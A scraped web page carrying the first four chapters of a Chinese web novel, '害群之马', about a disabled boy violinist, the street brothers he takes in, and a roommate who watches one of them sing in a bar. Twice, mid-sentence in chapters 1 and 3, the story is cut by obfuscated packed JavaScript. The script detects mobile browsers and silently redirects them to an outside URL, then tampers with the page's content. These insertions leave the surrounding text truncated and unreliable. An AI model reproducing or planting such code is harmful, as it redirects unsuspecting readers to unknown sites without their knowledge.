《害群之马》 1. 第 1 章 我从三岁起学习小提琴,我的老师曾经这样告诉我:“第一,左手拇指轻贴琴颈的侧面,用指腹垂直按弦;右手持弓,手指的力量转换乃至手腕的转动,对小提琴的音色都影响重大。 如果你不这样做,你永远不可能成为一名卓越的小提琴手。” 我放下拐杖,半垂着眼睛,在众人或热切或讶异的目光里拿起了那把漂亮的小提琴,用下颌骨夹住了琴身,如同过去八年里做的那样,将重心移至左脚,尽可能地掩饰我无法双腿站立保持平衡的事实,保持着优雅与绅士。 《流浪者之歌》对现在的我来说并没有难度,只要闭上眼,脑海里便自然而然地浮现出乐谱上的音符。我感到内心深处无比的平静,没有看在场的任何一个人,在钢琴的伴奏响起后一刻拉动了琴弓。 今天这座别墅里聚满了举世瞩目的名流、政客和明星,头顶巨大的枝型水晶吊灯闪着耀眼的光芒,整个室内金碧辉煌,明亮温暖,仿佛是那仅仅可以在电影里上演的黄金年代。 而此刻这些赫赫有名的人手上拿着金色的香槟,注视着我噤声不语,目露赞赏。 《流浪者之歌》是萨拉萨蒂的名曲,整首歌模仿了吉普赛风格,用前半的悲怆和后半的欢乐讲述吉普赛人复杂的一生。 “第二,要记住乐器是你最忠实的朋友。你的喜怒哀乐,应当毫无保留地假以它口,音符将成为你的语言。” 我在小提琴纯净的音色里想到褐色的泥土、长满茧的双手和女郎那樱桃红色的嘴唇。吉普赛人世代流浪,在纵情自由的一生却也有着宿命般注定的孤独和颠沛流离。 前半乐章的忧伤潮水般淹没我,现世的苦难如同绳索勒紧我的喉咙,我沉默地高扬起脖颈,忍不住眉头紧皱。 下一刻,旋律的气氛骤变,进入快板,在大量而快速的跳弓和泛音里,我紧紧闭着眼睛,忍不住呼吸急促,手指迅速拨弦,极力地想要表现这种肆意而骄傲的情感。 这首歌曾被世人斩钉截铁地称为炫技之作,但歌曲前后过山车般的情绪形成的鲜明对比,已经足够能使它的演绎成为核验小提琴手水平的分水岭。 在后半乐章里,我想象着长卷发的女孩身着她那祖母留下的长裙,她大笑并提起裙摆向远方的太阳奔跑,将痛苦和贫穷都远远落在身后,把烦恼和忧愁都抛下。 我的心颤抖着,在头顶耀眼的灯光下也感同身受着她的快乐。 一曲终了,荡气回肠的乐音在我手指停顿的那一刻戛然而止。我慢慢地、慢慢地将握着琴弓和小提琴的手放下,平复着心口激荡着的强烈情绪,在极短暂的恍神里,听到了宾客们如雷的掌声。 我小弧度地挑起嘴角,矜贵地忍住了过于明显的笑意,然后将右手抵至胸前,微微俯身,做了一个标准的谢幕礼。 “小舟才十一岁,真是年轻有为啊……” “看这个小小天才今晚为我们贡献了那么精彩绝伦的表演……” …… 人们笑着小声夸赞道,我挺直腰背,微抬下颌,感到由衷的骄傲和自豪,在动作时,身体却因为双腿的重心不一往前倾去,我不得不飞快地伸出手,扶住了旁边的钢琴。 脸仿佛一下子被烧红了,我努力保持着镇定和笑容,心却因为这个尴尬的失误突突地撞着胸口,背后一瞬间起了一层薄汗。 然而似乎并没有人看出来,我环顾四周,确认没有人露出异样的神情之后不着痕迹地松了一口气,理所当然地享受起人们的掌声。 在没有学习小提琴之前,人们对贺家少爷的评价是一个天生的瘸子,可怜的残疾小少爷;在学习小提琴之后,人们只会说:贺家的少爷是个天才少年,他小小年纪,就能够用小提琴演奏难度极高的歌曲。 天才少年这个称呼,光芒之盛足以掩盖过我那自出生以来就存在的缺陷。 母亲就站在不远处,和我的目光相接时,她的脸上浮现出同样骄傲的笑容。 在侍者收琴和递上拐杖时,我的余光注意到了远处巨大玻璃窗外的两个瘦小身影,如果不仔细看,甚至会把那两个身影怀疑成是两只野猫。 我甚至不知道那是不是我的幻觉,然而在我和其中那个长发的小孩对视,他也露出了一个笑容时,我的心跳莫名更快了。 我的直觉告诉我,那个孩子看穿了我的窘态。 等人们都散场之后,我迫不及待地带着随从一瘸一拐地走到外面,试图去寻找那两个身影。 这个冬天太冷了,G市罕见地下了一场细雪。 我有些踉跄地走在柔软的草地里,眼睛睁大,终于确信了那两个身影并不是我的幻觉。 我看到了玻璃窗台下两个相互依偎着的少年。他们冻得嘴唇发紫,不得不把身体蜷缩在一起,却狼吞虎咽着后院里玫瑰的花瓣。 红艳的玫瑰和他们苍白的皮肤形成鲜明的对比,花瓣填满其中一个小孩的口腔,因为吃得很多,他的一小半脸颊甚至鼓起来。 那是个瘦弱的、脸上长有些许雀斑的少年在注意到我的动静之后狠戾地看向我,像一头动物;而另一个,长卷发的少年看到我时却站了起来。 我先是看到他那双像水一样清澈而温柔的眼睛,然后才注意到他冻得发紫的嘴唇和他咀嚼时露出的一点红色。 我不知道那是他舌尖的颜色,还是玫瑰花瓣的颜色,只是呼吸一轻,本能地走近他。 十年之后我仍然忘不了那一幕,他和我当时想象的《流浪者之歌》里那个女孩一样,眼神闪着璀璨的光。 我听见他说:“小少爷,你拉的琴真好听。” 那天,我之后全部人生都在想念着的、渴望着回到的那天,G市罕见地下了一场雪。 那天我遇到了尧新雪。 …… 我把那两个孩子带回了家,脸上有雀斑的那个孩子叫做尧新橙,长发的那个则叫做尧新雪。我竭尽所能给他们最好的条件,将我能享受到的一切资源和他们共享。 因为残疾的双腿,我曾经一度抗拒着和同龄孩子一起玩耍,天生的缺陷仿佛一根毒刺,深深地扎进我的心底,我看着他们奔跑的模样,总是忍不住想:如果我也能这样呢?我渐渐地不再和他们一起玩,因为无可磨灭的嫉妒、自卑,也因为他们总是会跑在我前面。 但我喜欢尧新雪。 我不喜欢他们,却喜欢尧新雪,因为和尧新雪在一起的日子让我无比快乐。 他不像是一个流浪儿,因为他竟然是这样的有礼、温良、善解人意,和任何有教养的富家子弟几乎没有区别。 命运编织了一个多么美丽的巧合,我在拉完《流浪者之歌》之后遇到了他,并且给了他一个可以遮风挡雨的家。 尧新雪到了我家之后,很快就适应了这里的生活,而他是如此的干净漂亮,也就很快得到了所有人的喜爱。他的弟弟尧新橙,则是一个更安静、孤僻的孩子,虽然看我的眼神算不上友善,但很听尧新雪的话,从来不会捣乱。 更令我讶异的是,他们都对音乐有着浓厚的兴趣。尧新橙选择了吉他,尧新雪则和我学习了小提琴。 他有着远在我之上的音乐天赋。短短几个月,他的小提琴技巧就已经和练琴十年有余的我不相上下。我那早已扬名世界的小提琴老师告诉我:“尧新雪,会是摇撼整个世界的天才。”当她说出那句话时,她的眼睛甚至闪烁着狂热的光芒。 “你一定会成为最好的小提琴手。”我对他说,感到一缕不甘和羡慕。因为我即使这样努力,也从来没得到过我那高傲的小提琴老师那样露骨的、毫无保留的称赞。 尧新雪比我小一岁,要比我矮一些,在我坐下之后想要蹲下来给我锤腿,我忙他拉起来说:“你不需要做这些。” 然而他歪了歪头笑道:“我只是想这样做,不可以吗?”他的一绺长发垂在我的膝盖上。 不知道为什么,我有些脸红,把他拉起来,努力板着脸说:“不可以。” 尧新雪撇了撇嘴,站起来才回答我的问题:“你可以做最好的小提琴手,我不可以。”他似乎对我梦寐以求的东西毫不在意,语气漫不经心,眼神淡漠,仿佛只是在谈论可有可无的事。 我继续笑着问:“为什么?” 然后他很孩子气地告诉我:“因为我想要组乐队,还想学唱歌学钢琴。”说出这句话时,他的眼睛里闪着光和自豪,有好几秒,我隐约感觉到他是认真的。 乐队?我回过神来,这个新奇而遥远的词也令我一下子忍不住笑出了声,我很难想象他会有这个想法,他应该出现在金碧辉煌的演奏厅里,却不应该是嘈杂的会馆。 “那如果我得到了爱乐乐团的邀请函,你会跟我一起去吗?”我仰起脸看他,却看到他的眼神认真且笃定,于是不禁地将语气放软,哄小孩似的。 尧新雪假装思考了一下,拉起我的手转而笑了,“你收到了邀请函我又不一定收得到。” 他有着漂亮的面孔和优雅的气质,有着无与伦比的天赋和过人的技巧,是爱乐乐团最喜欢的那种人,怎么可能收不到邀请呢? 尧、新、雪。这三个字组在一起就是一个美丽的符号。 “新雪,你……”我想要否定他,他却打断了我,随口说,“我们去玩吧。” 在我过去接受到的所有教育里,声称着“打断别人说话”是独裁者的标志,然而当尧新雪尚未截断我的话时,我的耳朵就已经不由自主地、本能地高高竖起,想要听到他的话语。 于是他带着我去了花园,将轮椅推过来,把风筝线绑在我的手腕上。我想要转头去看他,他却按住我的肩膀,轻快道:“坐好。” 他推着我沿着鲜花开满的小路奔跑,我感觉到风灌进我的眼睛、我的耳朵。我听到他的呼吸,他快乐的笑声。 我看到眼前的花海慢慢地后退着,我听到他逐渐加重的呼吸声,我从来没有想象过,我能以这样的方式“跑”在这座静谧的花园里。 直到风筝高飞,他才停了下来。 我太重了,他跑得很累,他推不动我,我担心地侧过脸去看他,转头的瞬间,他却气喘吁吁地将滚烫的脸贴向我的侧脸。 有那么一瞬间,他的嘴唇蹭过我的脸,我的心仿佛在那一瞬间静止了。 “新雪……”我僵硬地说道。 他笑了,短促的气音落在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“新雪。”我叫了他一声。他坐在喷泉旁,长卷发在这四年里已经长到了腰的位置。 他听到我的声音,于是回过头来。 我笑了一下,然后准备靠近他,他却在下一秒跳进了那个池子。 “新雪!”我一时失声,心一下子悬了起来,急得要扔掉拐杖扑过去,他却很快又从水池里站起来,面对面和我对视,恶作剧般挑起了眉,像是童话故事里的人鱼。 在这几厘米的距离里,我清晰地感觉到冰冷的池水和他炙热的呼吸,我好像发烧了,呼吸加重,心跳加快,恍惚间以为我也站在了池水里,即使他没有触碰我。 水珠从他的长发滑落,滑过他高挺的鼻梁和薄薄的嘴唇。有那么一瞬间,我以为他的眼睛也是湿漉漉的。 月光之下,尧新雪的白衬衫湿透,可以看见隐约的身体轮廓。他长得太快了,身体已经呈现出介于少年青涩与成年优雅的微妙张力,细腻雪白的皮肤半透在湿透的衬衫之下,我甚至不敢再多看他一眼。 “你……”我一边暗暗庆幸着池水不深,一边语无伦次地想要询问他原因。 他却抬起手,向我展示手里被黑绳绑着的蓝色贝壳,弯着眼睛:“这个刚掉进去了,是我给你准备的生日礼物。” 在这个室内需要开暖气的日子里,他居然可以为了一只贝壳——我的生日礼物,毫不犹豫地跳进冰冷的池水。 这是他和其他人的区别,没有人可以为了一个所有人眼里毫无价值的东西在冬天跳进冰冷的水池,这似乎……有些过于偏执。 在意识到这件事之前,我的内心却先奇异地涌现出难以言喻的快乐和幸福。因为我本能地把他的这个行为归咎于他看重给我的礼物,因为他哪怕送给我一块平平无奇的石头,我想我也会欣喜若狂。 尧新雪笑着晃晃那只蓝色的贝壳,问我:“我想送给你两件礼物,这是其中一个,另外一个你想要什么?” 我看着他的眼睛,忍不住放轻了呼吸:“你。” “嗯?什么?”他歪了歪头,有些困惑地皱眉。 “我说有你这个就够了,快点上来,会着凉的。”我有些匆促地别开视线,解了自己的西装外套笼在他的身上,然后从他的手里抢过了那只贝壳。 “你很喜欢这个吗?”他从水面跨出来,坐在石台边。水珠沿着他的小腿,流到他的脚背、脚趾,最后滴到地面上。 我没有看他,僵硬地把那枚蓝色的贝壳戴在脖子上,只是不断地在心里重复着“非礼勿视”这句话。 他却浑然不觉般拉着我的袖子,直到我无奈地说:“嗯,很喜欢。” “这个会保佑你梦想成真的,忆舟,祝你十五岁生日快乐。”他忽然很认真地告诉我。月光之下,我看着他的面容,他的表情郑重其事,仿佛“梦想成真”这四个字在他眼里是世界上最珍贵的祝福。 而他的眼神同样流露着隐秘的痴狂,我在那一刻强烈地预感到,他在未来或许将不惜一切代价去完成所谓“梦想”。这把火会愈烧愈烈,直至把他以及他身边的其他人全部毁于一旦。 我却忍不住闭上眼睛,说:“好。” 我想,在那一刻,我的灵魂就首先应许了尧新雪:我愿意成为他那璀璨理想的第一个牺牲品。 2. 第 2 章 宋燃犀无精打采地在镜子面前刷牙,镜子里的人头发乱成一团草,眼底黑眼圈极其明显。他往布满水印的镜面上泼了几下水,准备凑近看看自己眼睛时,门板被不耐烦地砸了几下。 砰! 砰! “开门啊小宋,你新室友来了,别他妈睡了!”门板的作用寥寥,房东周桦油腻又沙哑的声音砸进宋燃犀的耳朵,导致本就睡眠不足的宋燃犀脸色更臭了。 周桦是个大腹便便的中年男人,一直没得到回应,就毫不忌惮地隔着门板和别人大声说着宋燃犀的坏话,各种脏字不绝于耳。 宋燃犀用一把冷水冲了冲自己的脸之后,猛地拉开了房门,居高临下地看着他冷笑一声。 周桦指着门板的手指还没来得及收回去,他看着眼前面色不善的宋燃犀,若无其事地对旁人笑着说:“这就是小宋啦,你们好好相处,小宋有钥匙,你们自己去配就好。” “谢谢您。”一个清润而温柔的声音说。 宋燃犀循着声音看过去,终于看到了肥硕如猪的周桦身后,有两个年轻的男人。 高一点的那个头发稍卷,身高和宋燃犀差不多,正背着一把吉他。娃娃脸和些许雀斑让他看起来年纪很小,警惕的眼神却又让他的可爱多几分阴郁。 宋燃犀的目光最后才转向另一个男人,看到那个男人的时候却明显怔愣了一下。 因为宋燃犀还没有见过这么好看的男人。 对方留着蓝灰色的长卷发,穿着简单的白衬衫和黑色长裤,注意到他的眼神之后,细长的眼睛微微弯起,同时回了一个温柔的笑容,干净又漂亮。 宋燃犀注意到他胸口前挂着一块红色的石头,上面的纹理宛如一只眼睛。 这个人只是站在那里,其他人就是陪衬,美得几乎失去了性别。 难怪胖子搁这献殷勤。宋燃犀没有笑,目不转睛地盯着这个长发男人,却对周桦傲慢无礼地开口:“这么小的地方你还想往里面再挤两个人,胖子,你就不怕被告穿底裤吗?” “去你妈的,老子爱租给谁租给谁,你不满意就滚出去。”周桦骂了他两声,用一只肥手推着宋燃犀叫他让开。 宋燃犀不满地啧了声,嫌脏似的拍开他的手,然后不情不愿地让开。 他还在打量着那个长发男人,对方也感觉到了他的视线,顺势伸出一只手,微笑着自我介绍道:“你好,我是尧新雪。这是我的弟弟尧新橙。” 宋燃犀只看了一眼尧新橙,然后就握上了尧新雪的手。 凉凉的,皮肤却细腻得像玉石。 宋燃犀下意识地握紧了,好几秒之后他才意识到自己的失态,被烫到似的松开手并错开了眼神:“宋燃犀。” 尧新雪的脾气很好,只是将目光转向了屋内。 这是一个二十平方米的隔间,只有一扇门,眼前的九平方米是租给尧新雪和尧新橙的,中间被房东改成了两平方米的公共浴室和过道,过道的另一侧则是宋燃犀的房间。 发霉和正在缓慢剥落的墙壁上写满了之前租客发酒疯时留下的脏话,一眼望过去,还能看到烟按灭在上面的痕迹。灯管泛黄,水仍在不断地从天花板的裂缝里滴下,木质地板上只安置了一张二手床垫。 宋燃犀已经提前把自己的东西都清到隔壁去了。 这样的环境,饶是房东周桦也在心虚,他爽朗地大笑,想要拍尧新雪的肩膀,却被尧新橙打开了手,中年男人没有介意,只是说:“环境是差了点,不过胜在租金便宜!你们和宋燃犀一起平摊租金水电,也算是赚了。” 宋燃犀站在门边毫不留情地翻了个白眼,朗声道:“也就你这种人说得出来了。” “去你妈的。”周桦回头啐了他一口。 “没关系,这样就很好,足够了。”尧新雪却笑着说。 他把行李箱放下,然后给周桦租金。 宋燃犀觉得有些难以置信,看着这对兄弟身上衣服的LOGO,最后张了张嘴没说话。 “抓紧时间交上个月的租金吧你,别以为我不会赶你出去。”周桦数了数钱之后瞥了一眼还站在门边的宋燃犀。 “我还真不信你能找到下一个租客。”宋燃犀嘲讽道。 “滚,没人租我也不会租给你。”周桦瞪了他一眼。 宋燃犀在周桦身后“砰”地关上了房门,他仿佛没听见门板后周桦那中气十足的骂声,看着尧新雪无辜地耸了耸肩膀:“需要帮忙吗?” “暂时还不用,宋先生。”尧新雪挑了挑眉。 “哦,那你到时候要配钥匙的时候跟我说一声,”宋燃犀又扫视了一遍这个逼仄、昏暗的空间,叹了一口气,“有什么要修的要补的就跟那个胖子说,大不了就吵一架,吓吓他说告到社区那,他就会屁颠屁 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从耳骨、耳蜗到耳垂,尧新雪的右耳戴着五个红色的耳钉,和蓝灰色长发形成了对比。在浮着灰尘的房间里,他的耳钉成为了唯一一抹亮色。 “我不说脏话,我的妈妈不准我说脏话。”宋燃犀看着尧新雪,认真地说道。 于是他今天第三次看到尧新雪的笑。这一次的笑容更加明显,仿佛他听到了什么有意思的事。 “好孩子。”笑够之后,尧新雪这样评价。 宋燃犀知道他在笑什么,但是并不在意。他甚至理直气壮,然而这句“好孩子”却像羽毛一样撩拨过他的心口。 宋燃犀看着尧新雪,忍耐住想要继续和他说话的欲望,转身走了回去。 空间小,隔音也差,他听到尧新雪温柔地对尧新橙说:“小橙,谢谢你,辛苦了。” “没关系,哥哥。”尧新橙回答道。 宋燃犀忍不住低下头看了眼自己的手。 他回想起刚刚和尧新雪握手时的样子,一瞬间仿佛嗅到了尧新雪身上淡淡的香根草的味道,碰触到尧新雪那温凉的皮肤,这些让 他恍如梦中。 于是宋燃犀的手指无意识地收了一下,最后缓慢地握紧成拳。 3. 第 3 章 宋燃犀正靠在墙上闭目休息。他刚拿拖把拖干净厕所的地,身上还系着粉色的围裙,打扫厕所花了他将近一个小时。 昏黄的灯光打在他的脸上,靠着墙的几秒里,他累得忍不住用背蹭了蹭墙才站直。看了眼手腕上的表之后,他解开了围裙,并顺势单手把起球的T恤脱了下来。 有人从黑暗中冒出来吹了声口哨,讨好地笑道:“哥,身材不错。” 宋燃犀看都没看他一眼,没听见似的套上了衬衫和马甲。 酒吧很快就要营业了。 张闻跟他一样是侍应生,不过没宋燃犀干得多,赚得也比宋燃犀少。他讨好地给宋燃犀递烟,宋燃犀没推辞,但也没点,只是把烟夹在了耳边。 宋燃犀挑眉问他:“今天又不是你值班,你来干嘛?” 张闻不好意思地笑了笑,贴近宋燃犀的耳朵小声说:“老板让我来的,他说今晚肯定会来很多客人,有人要来我们这里唱歌,虽然是个男人,却好看得很。” 宋燃犀嗤笑一声,他对这个说法不以为意,也没有说什么,只是往吧台那边走去。但他没由来地想到了尧新雪,今天他出门时,这对兄弟早不见了。 因为只有一个门,宋燃犀出入时不得不经过他们的房间。 只是无意的一眼,他就看到这个隔间几乎没有什么变动。如果不是多了两个行李箱和几张写满潦草字迹的纸,他可能会怀疑尧新雪和尧新橙其实从来没有来过。 不用睡觉的吗?宋燃犀边擦杯子,边想着他们房间那个二手床垫和自己那张多出来的毛毯。 晚上九点,这条白日里寂静无人的酒吧街好像一下子活了起来,所有的灯光都亮起,穿着时尚的男男女女或搂着彼此的肩膀,或大笑着进场。 酒精、尖叫和狂欢拉开了这里的夜幕。 宋燃犀熟练地应付着陆续进来的客人,直到不远处爆发出此起彼伏的尖叫。他下意识地看过去,然后怔在原地。 此刻站在舞台前的无疑就是昨天温柔笑着和自己说谢谢的尧新雪。 宋燃犀从来没有这么强烈的想骂脏话的欲望。 他的“好”室友现在一改昨天的温柔干净,扎着高马尾,露出雪白的颈。尧新雪甚至戴了唇钉,他的唇钉连着银链,和左耳的耳骨钉相扣。人们本来就容易被他吸引,这个设计更是将所有人的注意力都集中在了他的脸上。 耀眼的灯光自头顶打下来,他的漂亮便一览无余。 尧新雪穿着无袖背心和破洞牛仔裤,这样的装扮突出了他颀长的身形和雪白的手臂,他就这样懒散地坐在高脚凳上,一手抓着麦,扫视过台下疯狂的观众轻笑道:“各位晚上好。” 平平无奇的问候却又一次掀起了台下的尖叫,宋燃犀觉得耳朵疼,在混乱的声音里捕捉到“尧新雪”三个字。 狐狸。宋燃犀看着尧新雪,咬了咬后槽牙,有一种强烈的、被欺骗的感觉。 他从来没有想过,昨天那个温柔干净的人今天会出现在酒吧里俘获所有人的尖叫。 也许尧新雪会是画家、艺术家,也有可能是三流作家,但怎么都不可能跟“酒吧驻唱歌手”这个词搭边,在宋燃犀的心里,尧新雪给他的第一印象刻板得如同不食人间烟火的神灵。 宋燃犀感到没由来的不快,即使连他自己都没有意识到。 尧新橙就站在尧新雪的身后,认真地调着吉他的音,在尧新雪和观众们寒暄了几句之后,向尧新雪点了点头。 因为客人全都涌在舞台下,没有人光顾吧台,宋燃犀就拿下夹在耳边的烟,点燃后咬在嘴里。 烟雾缓缓盘旋,尧新橙的手指拨过电吉他的弦,在场的所有人不约而同地噤声。 尧新雪垂着眼,嘴唇和麦相隔着几厘米的距离,唇钉上的银链随着他唱出第一个音节缓缓晃动。 宋燃犀拿着烟的手颤了一下。 他知道这首爱情歌,在他对歌曲少有的印象里,这首歌讲述的应该是一个穷少年从小就暗恋着一个富家女孩,为了挣钱求娶女孩不惜远走他乡,当五年后他攒够了钱,回乡时却正好赶上女孩的婚礼的故事。 歌词用少年的视角书写,从懵懂青涩的爱恋到求而不得后选择对女孩的默默祝福,原曲用轻快忧伤的旋律表现了这份纯洁情感的告终。 尧新雪却对这首歌的基调进行了改编。 他的咬字很特别,嗓音纯净清澈,前半部分模仿着少年的口吻,温柔而眷恋地讲述着对爱人的爱意,如同一个忐忑却又期待着女孩目光的腼腆男孩。 他是个狡猾的表演者,望向台下观众时眼神含着隐约的期许,仿佛被看着的人就是那个他倾心已久的少女,前半乐章在他的演绎之下,更轻盈,更雀跃。 由快乐的少年时代到成年后独自在外闯荡,电吉他的节奏逐渐增快,建造了完美的过渡。少年远在外地,苦苦思恋着女孩的几十年如同一场安静而绵长的雨,全部落在了电吉他那几十秒里。 然而随着吉他断弦般的变奏,失真而沙哑的乐音如同一个预兆,把歌曲推向了高潮。 所有人目不转睛地望着尧新雪,随着他恰到好处的嘶哑和较重换气带来抽噎般的声音,仿佛用少年的眼睛亲眼看到和少女牵手走完一生的画面须臾间化成了灰烬。 茫然、痛苦、嫉恨、悲哀的情绪如同早有雷鸣电闪预兆的暴雨,在尧新雪声嘶力竭的歌声里终于哗然落下。 “将有关于你的一切全部带走,永远离开我吧。” “这是造化弄人吗?” …… 他无比决绝、斩钉截铁地说出“永远离开我吧”,却又极轻地、偏执地、仿佛在喃喃自语般重复问“这是造化弄人吗”,颤抖的呼吸落在尾音里,他的听众也因此共感了这锥心的疼痛。 窄小的舞台之上,仅有的一束光照着尧新雪,这里没有设备,只有一把吉他作他的伴奏,一支灵敏度糟糕的麦克风,可是所有人都久久无法回神。 直到吉他的余音停止,观众猛地爆发出尖叫和喝彩,宋燃犀才意识到烟灰早已落在了他的手背上,烫出了红印。 他匆匆地又吸了一口烟,然后在观众如雷的掌声和喝彩声里把烟按灭,宋燃犀在那一刻不得不承认,上天赐予尧新雪完美皮囊的同时还附赠了他完美的嗓子。 这毫无疑问是一场优秀的演出,尧新雪用这一首歌,在三分钟的时间里得到了所有人狂热的赞赏和喜爱。 那一晚之后,三斧酒吧夜夜座无虚席,订单飞涨,宋燃犀甚至忙得没时间抽烟。 尧新雪每天晚上都会来这里,宋燃犀估摸着,老板应该给他开了不低的薪水。连傻子都知道,有的人绝对不会是烂泥,即使他生在烂泥里。 第四晚,宋燃犀亲眼看到有人将玫瑰花和钱包都扔到了台上,尧新雪无奈地笑着说:“谢谢你们,今晚你们想听什么?” 第五晚,有人高声喊着,出三万,让他把身上那件白衬衫脱下来。 宋燃犀看见尧新雪挑了挑眉,然后随手解了衬衫的扣子,扔向台下,戏谑道:“用不着三万,想要就拿去。” 他扔得很随便,所有人都争相伸手去抢那件衬衫,脏话和尖叫声交杂着,不过一会,那件干净的白衬衫就被数不清的手揉皱,印满了口红印。 宋燃犀看着这一幕头皮发麻,他充分怀疑,如果不看着点尧新雪,这个人一下台就会被人用迷药迷晕了拖走。 尧新雪就像一只美丽的狐狸,浑然不觉在这里爱慕他意图靠近他的人其实有多危险,只是居高临下地、戏谑地看着那一幕。 但他真的不知道吗? 宋燃犀没有细想,此时此刻,他只是不可避免地嫉恨上那些碰过尧新雪衬衫的人。 在听着尧新雪唱歌的时候,宋燃犀心不在焉地将客人的莫吉托调成了大都会,而对方同样心不在焉地将那杯酒一饮而尽。 尧新雪随意地选歌来唱,有时候是客人点的歌,有时候却好像是他突然想到的。而尧新橙也反应很快,什么时候都能衔接上他的歌声。 这对兄弟的配合天衣无缝,很快,最靠近舞台的位置就需要出钱来购买。 宋燃犀白天很少在租房里见到尧新雪和尧新橙,见到也只是冷淡地点点头算作打招呼,但每一天晚上,三个人都会准时出现在三斧酒吧里。 宋燃犀有很多份兼职,从早上六点到凌晨两点,他什么活都干,用周桦的话来说就是趁年轻往死里干,他妈的掉进钱眼了。但他的钱从不会用在衣食住行,而是拿去光顾二手碟片或者两元店,九平方米的房间里三分之二都是影碟或是乱七八糟的小东西。 知道的人都觉得他有病。 然而宋燃犀从来不会放在心上,有人怼到他脸上时,他也会不带脏字地骂回去。 因为三斧酒吧的薪水不算低,所以是宋燃犀干的最久也最稳定的一份工作。 老板人不错,甚至因为尧新雪拉动了全场消费,给宋燃犀涨了两百块工资。 二楼的包间被改成了卡座,今晚,有贵客包场。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15748502|174214||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋燃犀听张闻说是个非常有钱的少爷,应该没来过酒吧,看他的眼神跟看猴子似的,走路一瘸一拐,还杵着个拐杖。 宋燃犀没往心里去,他的观念就是,有钱在他这里不是通行证,反正钱进不去他兜里,老板给他多少钱他就干多少活。 他下意识地看向舞台的中心,尧新雪只是和往常一样还在温声回答着客人对他的问候。 电吉他弹响时,喧闹的人群再一次默契地保持了安静。 尧新雪站着,握着麦,静候着某个音节。 他今天没有扎头发,长而卷的头发散落下来,长睫毛垂下时形成一小片阴影。 这一次他唱了一首后朋风格的歌,蓝色的打光如同一场幻梦,远远望去,让人看不清他的表情。 尧新雪唱这首歌时很慵懒,像刚抽完一支烟,进行着一场即兴表演。 尧新橙踩着效果器,将电吉他的音高降低至贝斯的音域,把大量和弦转换成反复的双音,整首歌便呈现出爵士乐的质感。 尧新雪的声音仿佛和电吉他低沉的音色相融合,他的声音本身也成为了一种乐器。 迷幻、模糊,随着轻快而重复的音乐,他就这样抓着麦克风低声吟唱,有那么几个瞬间,台下的人差点就能碰到他的长发,他的衣摆。 “我站在落日余晖里翩翩起舞,大风穿过我的心口。” “桃花源落在身后,我再也没能回头。” …… 没有明确的主题和核心,没有高潮,歌词意象散乱,整首歌到最后只有尧新雪一个人的轻哼,仿佛夏日的傍晚,赤着脚走在仍留有白日余温的沙滩上,巨大的、辉煌的落日悬在海平线上,看似触手可及,却心知肚明着其实有多么遥远。 于是看似轻快的旋律里也隐藏着极淡的遗憾。 宋燃犀注意到,尧新雪在唱着最后一句歌词的时间里仰起头,准确无误地望向二楼,在和某人对视之后,展露了极温柔的笑容。 然而很快,尧新雪就将目光转回了台下,和往常没什么区别。 宋燃犀也顺势抬起了头看向二楼,然而还没等他看清二楼上的人到底是谁,尧新雪转头看向别人的这个行为就似乎激怒了那个人,楼上伸出一只手,开始撒下大量的现金。 数以万计的钱飘摇着从二楼落下,和只会在人们梦里出现的那样,源源不断地洒落下来,终于有人按耐不住地开始争抢。这些钱被人怄气般毫不吝惜地扔下来,再也没有人在意台上发生了什么,所有人相互推搡着对方,蹲下捡钱时开始和另外一人互骂。 宋燃犀看到场面开始变得混乱,瞳孔竖起,他的心一下子因紧张而慌乱起来,开始找尧新雪。 腻人的汗味和香水混在一起,人贴人的感觉让宋燃犀想吐,他拨开那些人,左右试图辨别哪些人的脸,却始终找不到尧新雪。 一切混乱得如同电影里被抽帧的影像,缓慢而混沌,所有人在宋燃犀的眼里最后只剩下模糊的色块。 在被推撞了好几次之后,他被人拽住,猛地回头才发现,拽着自己的人竟然就是他在这望半天都找不到的罪魁祸首。 在迷幻的灯光和疯狂的人群中,宋燃犀刚想开口,却被尧新雪强行拉到了吧台旁。 然而还没等宋燃犀说话,尧新雪就从身后拿出一瓶威士忌,掐着他的下颌灌进了他的嘴里。 宋燃犀一瞬间惊愕地睁大了眼睛,强烈的酒精气味和突如其来的酒液让他忍不住呛了起来,嘴里的酒无意识地从他的嘴角流出来,浸湿了工作服。 紧接着尧新雪就吻上了他的唇。宋燃犀下意识地挣扎了一下,然后注意到尧新雪正强硬地卡着自己的下颌。 而自己刚刚呛出来的酒也弄脏了尧新雪的手。 宋燃犀在这个显得稍微有点粗鲁的吻里,用余光终于看清了二楼的人,对方眼睛危险地眯起,正死死地盯着他们。 在看清那个人的面容之后,宋燃犀的心脏加快,仿佛强烈地收缩了一下。 强忍着不适,他粗暴地拽着尧新雪的手就这样逃出了酒吧。 酒精仿佛一把火烧过宋燃犀的四肢百骸,然而他始终抓着尧新雪,他们一路狂奔,有时甚至会被绊一下,直到终于踉跄地跑回租房。 心脏过快的跳动和奔跑时飞速掠过的画面让宋燃犀感觉到眼前模糊,在粗重的呼吸声里,宋燃犀发怔似的望着尧新雪,感觉到浑身发烫。 他反应迟钝般扫过尧新雪的嘴唇,在尧新雪似笑非笑的眼神里,猛地一头撞上了门板。 4. 第 4 章 宋燃犀觉得自己疯了。 他撞向门板之后,脑袋还是嗡嗡的。他在过快的心跳里只能同手同脚地走回自己的房间,为了掩饰窘态,他果断地像鸵鸟一样一头扎进被窝里。 尧新雪还跟在他的身后,宋燃犀只隐约听到水声和杯子碰撞的声音。 下一秒他就被尧新雪拉了起来,尧新雪像刚才那样托着他的下颌,把杯子抵在他的嘴边,像哄孩子一样无奈道:“先别睡,喝点水。” 